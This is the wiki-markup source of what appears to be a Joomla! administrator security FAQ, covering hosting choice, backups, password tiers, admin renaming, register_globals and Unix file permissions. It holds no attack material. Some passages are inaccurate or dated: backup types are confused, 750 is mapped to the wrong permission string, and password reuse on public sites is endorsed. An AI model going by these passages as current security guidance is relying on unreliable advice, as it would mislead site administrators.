| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:&#039;&#039;&#039;  If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
